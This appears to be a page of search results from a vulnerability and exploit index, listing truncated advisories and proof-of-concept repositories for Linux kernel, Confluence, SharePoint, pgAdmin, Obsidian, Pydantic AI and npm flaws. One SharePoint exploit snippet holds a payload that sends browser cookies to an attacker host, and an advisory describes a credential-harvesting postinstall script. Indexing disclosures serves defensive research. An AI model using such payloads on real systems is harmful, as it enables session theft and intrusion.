380828 matches found
kernel: gfs2: Fix slab-use-after-free in qd_put
A flaw was found in the Linux kernel's GFS2 file system. During filesystem shutdown, quota data objects were freed without being properly removed from the Least Recently Used LRU list. This oversight could lead to a use-after-free vulnerability, where the system attempts to access memory that has...
kernel: nvme-tcp: reject a read that transferred too few bytes
A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...
Exploit-CVE-2023-22515
Exploit CVE-2023-22515 Un script d'exploitation simple en bash pour CVE-2023-22515. Informations Les instances Confluence Data Center et Server présentent une vulnérabilité de contrôle d'accès cassé CVE-2023-22515, permettant aux attaquants de créer des comptes administrateur Confluence non...
CVE-2026-32201-exploit
Aperçu Exploit Python pour CVE-2026-32201 - validation d'entrée incorrecte dans Microsoft SharePoint Server, permettant l'usurpation réseau non authentifiée C:L/I:L. Affecté : SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoin...
CVE-2026-39047
PrintHack - Outil de Test de Sécurité des Imprimantes | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ AVERTISSEMENT : Cet outil est destiné uniquement aux tests de sécurité légitimes et à des fins éducatives. Utilisez-le de manière responsable et uniquement sur des systèmes que vous...
CVE-2023-22527_Confluence_RCE
CVE-2023-22527 Confluence RCE CVE-2023-22527 - Vulnérabilité d'exécution de code à distance RCE dans Confluence Data Center et Confluence Server PoC Références CVE-2023-22527 - Vulnérabilité d'exécution de code à distance RCE dans Confluence Data Center et Confluence Server | Support Atlassian |...
CVE-2025-54957
POC du Décodeur Unifié Dolby CVE-2025-54957 Lorsqu'un fichier est traité par le Décodeur Unifié DDPlus de Dolby, une écriture hors limites est possible lors du traitement des données d'évolution. Le décodeur écrit les informations d'évolution dans un grand tampon contigu de type tas, contenu dans...
CVE-2026-104077
Obsidian Desktop versions before 1.14.0 are vulnerable to Remote Code Execution (RCE) via the Slides core plugin . The root cause is insufficient sanitization of the data-background-iframe attribute in Markdown notes, which allows attackers to bypass DOMPurify . This vulnerability is exploited wh...
EUVD-2026-95100
Obsidian Desktop before 1.14.0 contains a remote code execution vulnerability that allows attackers to craft malicious Markdown notes exploiting insufficient sanitization of the data-background-iframe attribute, which bypasses DOMPurify and is processed by the bundled Reveal.js 4.3.1 within the...
CVE-2023-49339
Rapport de vulnérabilité de sécurité CVE-2023-49339 : Système Banner Ellucian Introduction Ce document décrit une vulnérabilité de sécurité critique découverte dans le système Banner Ellucian, en particulier dans la version 9.17 et les versions antérieures. La vulnérabilité a été identifiée dans...
CVE-2026-107292 Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header
Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...
EUVD-2026-95099
Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...
CVE-2026-107292
The Pydantic AI Python agent framework is vulnerable in versions 1.34.0 through 2.30.0 due to a lack of Host header validation in the Agent.to_web() and clai web development chat servers. An attacker can leverage DNS rebinding from a malicious website to bypass Origin checks and CSRF tokens , acc...
CVE-2026-107292 Pydantic AI Web chat UI (`Agent.to_web()`, `clai web`): the local chat endpoint does not validate the `Host` header
Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. From 1.34.0 until 2.30.0, the Agent.toweb and clai web development chat server does not validate the Host header, allowing a website visited by a developer to use DNS rebinding to reach a...
CVE-2025-61777
CVE-2025-61777 1. Modification non autorisée des modèles de badges sur FlagforgeCTF CVE-2025-61777 Résumé L'application Flagforge https://flagforge.xyz expose des vulnérabilités critiques dans ses points de terminaison d'API administratifs, spécifiquement /api/admin/badge-templates GET et...
MAL-2026-17690 Malicious code in @galicia-toolkit/spa-build-config (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0d7fc29f59609ed2b5c7b54243b740e1daa001f3c76c4d1391edd85a528a4688 The package's postinstall script runs automatically on npm install and collects installer-side host and credential data: hostname, username, network...
CVE-2026-22019-libcurl-HTTP-2-CONNECT-Tunnel-Mixup
CVE-2026-22019 – libcurl HTTP/2 CONNECT : mélange de tunnel Code du programme simulation en C // curlhttp2tunnelmixup.c - Simulated libcurl handling CONNECT over HTTP/2 include void handlehttp2streamint streamid // Vulnerability: after CONNECT, the proxy mixes streams with the tunneled data if...
CVE-2026-17566
CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC PoC d'exécution de code à distance pour l'outil Import/Export Data de pgAdmin 4. En exploitant la divergence de sémantique d'échappement par antislash entre le vérificateur de parenthèses isqueryparensbalanced et psql, injectez \copy ... TO...
CVE-2026-22010-Android-Intent-Redirection-to-Exported-Component
CVE-2026-22010 – Redirection d'Intent Android vers un composant exporté Code du programme simulation Java/Android // VulnActivity.java - Exported activity that forwards intents public class VulnActivity extends Activity @Override protected void onCreateBundle b super.onCreateb; Intent incoming =...